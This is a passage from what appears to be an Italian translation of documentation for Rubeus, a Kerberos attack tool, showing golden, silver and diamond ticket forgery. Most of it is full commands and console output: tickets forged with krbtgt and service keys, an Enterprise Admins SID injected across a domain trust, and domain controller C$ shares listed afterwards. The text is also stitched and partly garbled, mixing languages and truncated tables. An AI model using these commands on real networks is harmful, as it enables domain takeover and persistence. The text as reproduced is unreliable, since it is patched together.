[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
Falsificazione di un TGT, impostando esplicitamente tutto sulla riga di comando:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:18:19
[*] StartTime : 29/07/2021 00:18:19
[*] EndTime : 29/07/2021 10:18:19
[*] RenewTill : 05/08/2021 00:18:19
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
Falsificazione di 5 TGT a partire da giorni diversi con intervallo di 1 giorno tra gli orari di inizio, il primo che inizia adesso e utilizzando LDAP per ottenere le informazioni PAC:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:22:38
[*] StartTime : 29/07/2021 00:22:38
[*] EndTime : 29/07/2021 10:22:38
[*] RenewTill : 05/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 30/07/2021 00:22:38
[*] StartTime : 30/07/2021 00:22:38
[*] EndTime : 30/07/2021 10:22:38
[*] RenewTill : 06/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 31/07/2021 00:22:38
[*] StartTime : 31/07/2021 00:22:38
[*] EndTime : 31/07/2021 10:22:38
[*] RenewTill : 07/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 01/08/2021 00:22:38
[*] StartTime : 01/08/2021 00:22:38
[*] EndTime : 01/08/2021 10:22:38
[*] RenewTill : 08/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 02/08/2021 00:22:38
[*] StartTime : 02/08/2021 00:22:38
[*] EndTime : 02/08/2021 10:22:38
[*] RenewTill : 09/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
L'azione silver falsificherà un ticket per l'utente /user:X e il servizio /service:SPN, crittografando il ticket con l'hash passato con /des:X, /rc4:X, /aes128:X o /aes256:X e utilizzando la stessa chiave per creare ServerChecksum. Se viene passato l'argomento /krbkey:X, questo verrà utilizzato per creare KDCChecksum e TicketChecksum (se il servizio non è krbtgt/domain.com o domain.com è diverso dal realm utilizzato nel ticket, cioè è un ticket di referral), altrimenti viene utilizzata la stessa chiave usata per crittografare il ticket. Se krbenctype:X non viene passato, si presuppone lo stesso tipo di crittografia utilizzato dalla chiave del servizio per KDCChecksum e TicketChecksum.
Gli argomenti /cname:X e /crealm:X possono essere utilizzati per impostare valori diversi per quei campi all'interno di EncTicketPart (parte crittografata del ticket), cosa talvolta osservata nei ticket di delega di referral. È possibile aggiungere una sezione PAC S4UDelegationInfo passando gli argomenti /s4uproxytarget:X e /s4utransitedservices:SPN1,SPN2,...; questa sezione fornisce un target finale per la delega e l'elenco degli SPN attraverso i quali è avvenuta la delega.Il flag /authdata può essere utilizzato per aggiungere alcune sezioni generiche di Authorization Data all'EncTicketPart, per impostazione predefinita includerà una sezione KERB-LOCAL e una sezione KERB-AD-RESTRICTION-ENTRY con alcuni valori predefiniti.
Il flag /nofullpacsig escluderà il nuovo FullPacChecksum, introdotto per risolvere la vulnerabilità CVE-2022-37967. Questa firma è inclusa per impostazione predefinita in qualsiasi ticket non protetto con la chiave krbtgt.
Forgiatura di un ticket di servizio per cifs/SQL1.rubeus.ghostpack.local per l'utente ccob utilizzando l'hash della password RC4 del servizio e firmando il KDCChecksum e il TicketChecksum con la chiave AES256 del KRBTGT appropriato, utilizzando LDAP con credenziali alternative per ottenere le informazioni PAC:
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Il nome utente o la password non è corretta.
C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Tentativo di interrogazione LDAP utilizzando LDAPS per informazioni utente sul controller di dominio PDC1.rubeus.ghostpack.local
[*] Ricerca del percorso 'DC=rubeus,DC=ghostpack,DC=local' per '(samaccountname=ccob)'
[*] Recupero delle informazioni sui gruppi e sui criteri di dominio tramite LDAP dal controller di dominio PDC1.rubeus.ghostpack.local
[*] Ricerca del percorso 'DC=rubeus,DC=ghostpack,DC=local' per '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Tentativo di montare: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL montato con successo
[*] Tentativo di smontare: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL smontato con successo
[*] Recupero delle informazioni sul nome netbios tramite LDAP dal controller di dominio PDC1.rubeus.ghostpack.local
[!] Impossibile interrogare la radice della foresta utilizzando System.DirectoryServices.ActiveDirectory.Forest, assumendo che rubeus.ghostpack.local sia la radice della foresta
[*] Ricerca del percorso 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' per '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Costruzione PAC
[*] Dominio : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] ID utente : 1109
[*] Gruppi : 512,513
[*] Chiave servizio : F74B07EB77CAA52B8D227A113CB649A6
[*] Tipo chiave servizio : KERB_CHECKSUM_HMAC_MD5
[*] Chiave KDC : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] Tipo chiave KDC : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Servizio : cifs
[*] Destinazione : SQL1.rubeus.ghostpack.local
[*] Generazione EncTicketPart
[*] Firma PAC
[*] Cifratura EncTicketPart
[*] Generazione Ticket
[*] KERB-CRED generato
[*] Forgiato un TGS per 'ccob' a 'cifs/SQL1.rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 01:00:23
[*] StartTime : 29/07/2021 01:00:23
[*] EndTime : 29/07/2021 11:00:23
[*] RenewTill : 05/08/2021 01:00:23
[*] base64(ticket.kirbi):
doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(omitir)...
bG9jYWw=
[+] Ticket importato con successo!
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Il volume nell'unità \\SQL1.rubeus.ghostpack.local\c$ non ha etichetta.
Numero di serie del volume: 1AD6-20BE
Elenco di \\SQL1.rubeus.ghostpack.local\c$
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Programmi
20/07/2021 18:17 <DIR> Programmi (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Utenti
20/07/2021 18:18 <DIR> Windows
0 File 0 byte
7 Directory 124.275.159.040 byte liberi
Forgiatura di un TGT di referral per un dominio trust, utilizzando LDAP per recuperare le informazioni PAC:
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Tentativo di interrogazione LDAP utilizzando LDAPS per informazioni utente sul controller di dominio PDC1.rubeus.ghostpack.local
[*] Ricerca del percorso 'DC=rubeus,DC=ghostpack,DC=local' per '(samaccountname=exploitph)'
[*] Recupero delle informazioni sui criteri di dominio tramite LDAP dal controller di dominio PDC1.rubeus.ghostpack.local
[*] Ricerca del percorso 'DC=rubeus,DC=ghostpack,DC=local' per '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Tentativo di montare: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL montato con successo
[*] Tentativo di smontare: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL smontato con successo
[*] Recupero delle informazioni sul nome netbios tramite LDAP dal controller di dominio PDC1.rubeus.ghostpack.local
[*] Ricerca del percorso 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' per '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Costruzione PAC
[*] Dominio : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] ID utente : 1104
[*] Gruppi : 513
[*] Chiave servizio : 856A1023055848748E7B9D505EBE0E02
[*] Tipo chiave servizio : KERB_CHECKSUM_HMAC_MD5
[*] Chiave KDC : 856A1023055848748E7B9D505EBE0E02
[*] Tipo chiave KDC : KERB_CHECKSUM_HMAC_MD5
[*] Servizio : krbtgt
[*] Destinazione : dev.rubeus.ghostpack.local
[*] Generazione EncTicketPart
[*] Firma PAC
[*] Cifratura EncTicketPart
[*] Generazione Ticket
[*] KERB-CRED generato
[*] Forgiato un TGT per '[email protected]'
[*] AuthTime : 29/07/2021 02:45:54
[*] StartTime : 29/07/2021 02:45:54
[*] EndTime : 29/07/2021 12:45:54
[*] RenewTill : 05/08/2021 02:45:54
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(omitir)...
LmxvY2Fs
Questo ticket può quindi essere utilizzato per richiedere ticket di servizio sul dominio trust utilizzando asktgs:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(omitir)...NrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Utilizzo del controller di dominio: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Richiesta degli etype predefiniti (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) per il ticket di servizio
[*] Costruzione richiesta TGS-REQ per: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] Richiesta TGS riuscita!
[*] base64(ticket.kirbi):
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(omitir)...
ZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName : exploitph
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 02:51:05
EndTime : 29/07/2021 12:45:54
RenewTill : 05/08/2021 02:45:54
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=
Forgia un TGT di referral per [email protected] per il dominio padre rubeus.ghostpack.local e include l'SID del gruppo Enterprise Admins:
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Tentativo di interrogazione LDAP utilizzando LDAPS per informazioni utente sul controller di dominio DevDC1.dev.rubeus.ghostpack.local
[*] Ricerca del percorso 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' per '(samaccountname=dev.ccob)'
[*] Recupero delle informazioni sui criteri di dominio tramite LDAP dal controller di dominio DevDC1.dev.rubeus.ghostpack.local
[*] Ricerca del percorso 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' per '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Tentativo di montare: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL montato con successo
[*] Tentativo di smontare: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL smontato con successo
[*] Recupero delle informazioni sul nome netbios tramite LDAP dal controller di dominio DevDC1.dev.rubeus.ghostpack.local
[*] Ricerca del percorso 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' per '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Costruzione PAC
[*] Dominio : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID : S-1-5-21-2065789546-4129202522-221898516
[*] ID utente : 1107
[*] Gruppi : 513
[*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519
[*] Chiave servizio : 856A1023055848748E7B9D505EBE0E02
[*] Tipo chiave servizio : KERB_CHECKSUM_HMAC_MD5
[*] Chiave KDC : 856A1023055848748E7B9D505EBE0E02
[*] Tipo chiave KDC : KERB_CHECKSUM_HMAC_MD5
[*] Servizio : krbtgt
[*] Destinazione : rubeus.ghostpack.local
[*] Generazione EncTicketPart
[*] Firma PAC
[*] Cifratura EncTicketPart
[*] Generazione Ticket
[*] KERB-CRED generato
[*] Forgiato un TGT per '[email protected]'
[*] AuthTime : 29/07/2021 03:03:34
[*] StartTime : 29/07/2021 03:03:34
[*] EndTime : 29/07/2021 13:03:34
[*] RenewTill : 05/08/2021 03:03:34
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(omitir)...
G9zdHBhY2subG9jYWw=
Questo TGT di referral può quindi essere utilizzato per richiedere ticket di servizio per i servizi in rubeus.ghostpack.local utilizzando il comando asktgs e ottenere i privilegi del gruppo Enterprise Admins:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(omitir)...cy5naG9zdHBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Utilizzo del controller di dominio: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Richiesta degli etype predefiniti (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) per il ticket di servizio
[*] Costruzione richiesta TGS-REQ per: 'cifs/pdc1.rubeus.ghostpack.local'
[+] Richiesta TGS riuscita!
[+] Ticket importato con successo!
[*] base64(ticket.kirbi):
doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(omitir)...
ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/pdc1.rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : dev.ccob
UserRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 03:04:26
EndTime : 29/07/2021 13:03:34
RenewTill : 05/08/2021 03:03:34
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=
C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
Il volume nell'unità \\pdc1.rubeus.ghostpack.local\c$ non ha etichetta.
Numero di serie del volume: 3C5F-0EF1
Elenco di \\pdc1.rubeus.ghostpack.local\c$
30/06/2021 02:13 <DIR> inetpub
15/09/2018 08:19 <DIR> PerfLogs
09/06/2021 17:45 <DIR> Programmi
09/06/2021 17:45 <DIR> Programmi (x86)
14/07/2021 01:18 <DIR> Rubeus
19/07/2021 20:48 <DIR> temp
30/06/2021 02:14 <DIR> Utenti
14/07/2021 02:17 <DIR> Windows
0 File 0 byte
8 Directory 94.901.772.288 byte liberi
L'azione diamond forgerà un TGT diamond modificando un TGT richiesto per un utente usando gli argomenti forniti. Prima verrà richiesto un TGT per l'utente specificato e la chiave di crittografia (/rc4, /aes128, /aes256, o /des). È possibile utilizzare anche un flag /password invece di un hash - in questo caso /enctype:X sarà predefinito a RC4 per lo scambio, con des|aes128|aes256 come opzioni. In alternativa, è supportata l'autenticazione PKINIT con l'argomento /certificate:X. Quando la chiave privata all'interno del file PFX è protetta da password, questa password può essere passata con l'argomento /password:X. Infine, il flag /tgtdeleg può essere passato per richiedere un TGT usando il trucco tgtdeleg. L'argomento /krbkey:X viene utilizzato per decifrare il ticket, ri-firmarlo dopo le modifiche e ri-cifrare il ticket.
Se non viene specificato /domain, viene estratto il dominio corrente del computer; se non viene specificato /dc, la stessa cosa viene fatta per il controller di dominio corrente del sistema. Il flag /ptt "passerà il ticket" e applicherà la credenziale Kerberos risultante alla sessione di accesso corrente. Il flag /luid:0xA.. applicherà il ticket all'ID di sessione di accesso specificato (sono necessari privilegi elevati) invece della sessione di accesso corrente.
Nota che non sono necessari privilegi elevati sull'host per richiedere TGT o applicarli alla sessione di accesso corrente, solo l'hash corretto per l'utente target. Inoltre, nota operativa di sicurezza: solo un TGT può essere applicato alla volta alla sessione di accesso corrente, quindi il TGT precedente viene cancellato quando viene applicato il nuovo ticket utilizzando l'opzione /ptt. Un workaround consiste nell'usare il parametro /createnetonly:C:\X.exe (che nasconde il processo per impostazione predefinita a meno che non venga specificato il flag /show), oppure richiedere il ticket e applicarlo a un'altra sessione di accesso con ptt /luid:0xA...
L'argomento /ticketuser:X viene utilizzato per specificare il nome utente da utilizzare all'interno del ticket modificato; /ticketuserid:# per specificare il RID dell'utente; /groups:RID1,RID2... per specificare i gruppi per il ticket; /sids:SID1,SID2... per specificare i SID da includere nel campo ExtraSIDs.
Creazione di un TGT diamond utilizzando un nome utente e una password:
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.1
[*] Action: Diamond Ticket
[*] Utilizzo del controller di dominio: earth-dc.marvel.local (10.1.1.11)
[!] Pre-autenticazione richiesta!
[!] Sale AES256: MARVEL.LOCALloki
[*] Utilizzo hash aes256_cts_hmac_sha1: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7
[*] Costruzione AS-REQ (con preauth) per: 'marvel.local\loki'
[*] Utilizzo del controller di dominio: 10.1.1.11:88
[+] Richiesta TGT riuscita!
[*] base64(ticket.kirbi):
| Comando | Descrizione |
|---|
| asktgt | Richiedi un ticket di concessione ticket (TGT) da un hash/chiave o password |
| asktgs | Richiedi un ticket di servizio da un TGT passato |
| renew | Rinnova (o rinnova automaticamente) un TGT o un ticket di servizio |
| brute | Esegui un attacco di forza bruta delle password basato su Kerberos. 'spray' può essere usato anche al posto di 'brute' |
| preauthscan | Esegui una scansione per account che non richiedono pre-autenticazione Kerberos |
UserId/displaynameFullName/logoncountLogonCount/badpwdcountBadPasswordCount/uacUACNORMAL_ACCOUNT/pgidPrimaryGroupId/groups/groupsGroups/pgidGroupCount/homedirHomeDirectory/homedriveHomeDirectoryDrive/profilepathProfilePath/scriptpathLogonScript/logofftimeLogoffTime/lastlogonLogonTimestarttime/passlastsetPasswordLastSet/minpassagePasswordCanChangePasswordLastSet/maxpassagePasswordMustChangePasswordLastSet/sidsExtraSIDsExtraSIDCount/resourcegroupsidResourceGroupSid/resourcegroups/resourcegroupsResourceGroupsResourceGroupCount/resourcegroupsid| Argomento | Descrizione |
|---|
/authtime | Imposta il campo authtime in EncTicketPart. In formato ora locale - Viene convertito automaticamente in UTC (Predefinito: ora) |
/starttime | Imposta il campo starttime in EncTicketPart. In formato ora locale - Viene convertito automaticamente in UTC (Predefinito: ora) |
/endtime | Imposta il campo endtime in EncTicketPart. È relativo a starttime, nel formato di moltiplicatore più intervallo di tempo, ad esempio per 5 giorni, 5d. Maggiori informazioni su questo formato sono spiegate di seguito (Predefinito: 10h) |
/renewtill | Imposta il campo renew-till in EncTicketPart. È relativo a starttime, nel formato di moltiplicatore più intervallo di tempo, ad esempio per 5 giorni, 5d. Maggiori informazioni su questo formato sono spiegate di seguito (Predefinito: 7d) |
/rangeend | Questo serve per creare più ticket che iniziano in tempi diversi. Questo sarà l'ultimo starttime, relativo a /starttime, nel formato di moltiplicatore più intervallo di tempo, ad esempio per 5 giorni, 5d. Maggiori informazioni su questo formato sono spiegate di seguito |
/rangeinterval | Questo serve per creare più ticket con orari di inizio diversi. Questo è l'intervallo che verrà utilizzato tra ogni starttime, nel formato di moltiplicatore più intervallo di tempo, ad esempio per 5 giorni, 5d. Maggiori informazioni su questo formato sono spiegate di seguito |
/flags | Imposta i flag del ticket all'interno di EncTicketPart (Predefinito: forwardable,renewable,pre_authent e per golden anche initial) |
/extendedupndns | Include il nuovo UpnDns esteso (che include samaccountname e l'SID dell'account) |